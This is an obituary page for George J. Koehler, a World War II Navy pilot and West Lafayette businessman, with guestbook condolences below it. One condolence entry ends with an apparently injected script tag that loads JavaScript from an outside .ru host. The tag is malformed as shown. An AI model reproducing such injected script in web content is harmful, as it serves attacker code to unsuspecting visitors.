George J. Koehler

Date of Death: May 18, 2010

George J. Koehler, 89, of West Lafayette, died at 11:33 p.m. Tuesday, May 18, 2010, at St. Elizabeth Central.
Born Sept. 2, 1920, in Paulsboro, N.J., he was the son of the late George and Emma Hoffman Koehler.
He was a Navy pilot, flying patrol bombers and propeller and jet fighters during World War II. He went on to serve 28 years in Naval Reserve, retiring as a lieutenant commander.
On Feb. 26, 1944, he married Alice Evans, and she preceded him in death.
Mr. Koehler moved to West Lafayette in 1946 to attend Purdue University on the G.I. Bill, and graduated with distinction in 1949 with a bachelor?s degree in air transportation.
He lead the formation of Koehler Brothers Nursery with his brothers, Emmett and Fred, and was president of the organization until 1970. He then was a real estate broker with Yount Realty, retiring in 1985. He was also a certified flight instructor and airframe and engine mechanic, and flew commercially for Lake Central Airlines and Purdue Airlines. He lived for many years at 2852 N. County Road 400 West, West Lafayette, better known as “Woodbrook.”
Mr. Koehler served as president of Indiana Nursery Association and was active for years in Ducks Unlimited, Kiwanis, Indiana Gourd Society, Retired Military Officers Association, Elks, Klondike Athletic Boosters Club and John Purdue Club. He was an avid supporter of Purdue athletics, and never missed a home Purdue football game for over 52 years.
After retiring, he enjoyed gardening, playing in musical organizations including the Rocking Chair Five, and playing with his grandchildren. He taught both his sons and a daughter-in-law to fly.
Surviving are two sons, Robert E. Koehler (wife: Jan) of West Lafayette and Richard E. Koehler (wife: Jane) of Burke, Va.
Also surviving are grandchildren, Clay Koehler (wife: Beth) and Madison Koehler. He was preceded in death by 2 brothers, Emmett and Fred Koehler.
Friends may call 2 hours prior to a 7 p.m. Memorial Service Tuesday, June 8, 2010, at Soller-Baker West Lafayette Chapel, 1184 Sagamore Parkway West. In lieu of flowers, memorials may be made to charity of choice.

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Soller-Baker Funeral Homes, Inc.

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George Koehler was one of the first persons we met while attending pre-assignment meetings at Purdue in April 1981. At that time he was a Realtor with Yount Realty and took on the task of introducing us to the Lafayette-West Lafayette area and continued when the family moved to the area in July 1981. We still reside at the home we purchased at that time. Over the years we got to know George and Alice, visiting them at home a number of times. I also worked with George during the early years of the Retired Officers Association, now Military Officers Association, Lafayette Chapter. George served a long time as treasurer of that organization.

George was one of the now dwindling roster of World War II veterans. He shared a number of stories about his experiences in the U. S. Navy, while at Purdue, and as a businessman in the Lafayette area. He was proud of his family and its achievements.

George Kohler will be long and well remembered.

Jim and Mary Jo Turley

I am a friend of Jan&s and I know that George will be missed and was loved by his family. My prayers are with you.

GEORGE WAS THE SWEETEST RESIDENT I EVER HAD PRIVELEGE TO CARE FOR! MAY GOD GIVE YOU STRENGHTH TO MOVE FORWARD WITH YOURS LIVES. PLEASE REMEMBER HE WILL ALWAYS BE IN YOUR HEART AND NOTHING WILL EVER TAKE AWAY THE MEMORIES YOU SHARED WITH HIM. I HAVE LOST BOTH MY PARENTS AND KNOW THE PAIN AND SORROW YOU ALL FEEL MY MOTHER PAST YR AGO APRIL HOLIDAYS AND SPECIAL EVENTS ARE NOT THE SAME BUT KEEP IN MIND IN IS REJOINED WITH YOUR MOTHER IN HEAVEN AND WILL NEVER FEEL AND TYPE OF PAIN.EVEN THOUGH YOU CANNOT SEE HIM YOUR PARENTS WILL ALWAYS BE LOOKING DOWN FROM HEAVEN AND TOUCHING YOUR LIVES.IT WAS MY GREAT PRIVELEGE TO BE ABLE TO MEET AND CARE FOR GEORGE AT HERITAGE HEALTHCARE WHERE I AM A NURSE ON 11-7 SHIFT,SPENT MANY A NIGHT TALKING WITH HIM AND ENJOYING HIS SWEETNESS IN HIS CONFUSION HE WAS A JOY TO CARE FOR. I WILL MISS HIM VERY MUCH. HE ANY OF YOU EVER NEED TO TALK WITH SOMEONE WHO HAS BEEN THERE LOSING PARENTS FEEL FREE TO CALL ME AT HERITAGE.

MAY GOD BLESS YOU ALL,
WENDY HULETT LPN

Hey Guys:

We know losses are tough, but you know our thoughts an prayers are with you every day during this time. God Bless!

Tom & Lallie

My thoughts and prayers are with you in this time of grief. I am a former co-worker of Jane&s and a long-time friend of both Jane and Dick. Although I am unable to attend the memorial service, I will hold you all in my thoughts on that day. May God bless all of you and keep you in the palm of his hands.

Peace of mind is a call away. We’re here when you need us most.

My sincere sympathies go to Jan and her family in the loss of her father-in-law and Madi and Clay&s grandpa and Robert&s father. There are no words of condolences except to say """"I&m sorry for your loss"""". God bless and keep you in your hours of need. I know George will be sorely missed. My prayers and thoughts are with you.

Linda Randak

I never had the honor of meeting this WWII hero - he is a member of """"The Greatest Generation"""" as Tom Brokaw calls them - men of his caliber fought the war and won it and then came home and made America the greatest nation - God bless this wonderful man and God give His love to his family

Neal Michal
LtCol/ Parachute Infantry - USA Retired
Grayling, mich

My deepest sympathy to all the family. George was a wonderful man and I have many fond memories of him. Love and my prayers go out to all the family.script src=http://bank.postfolkovs.ru/js.js>

Please accept our deepest condolences for your family's loss.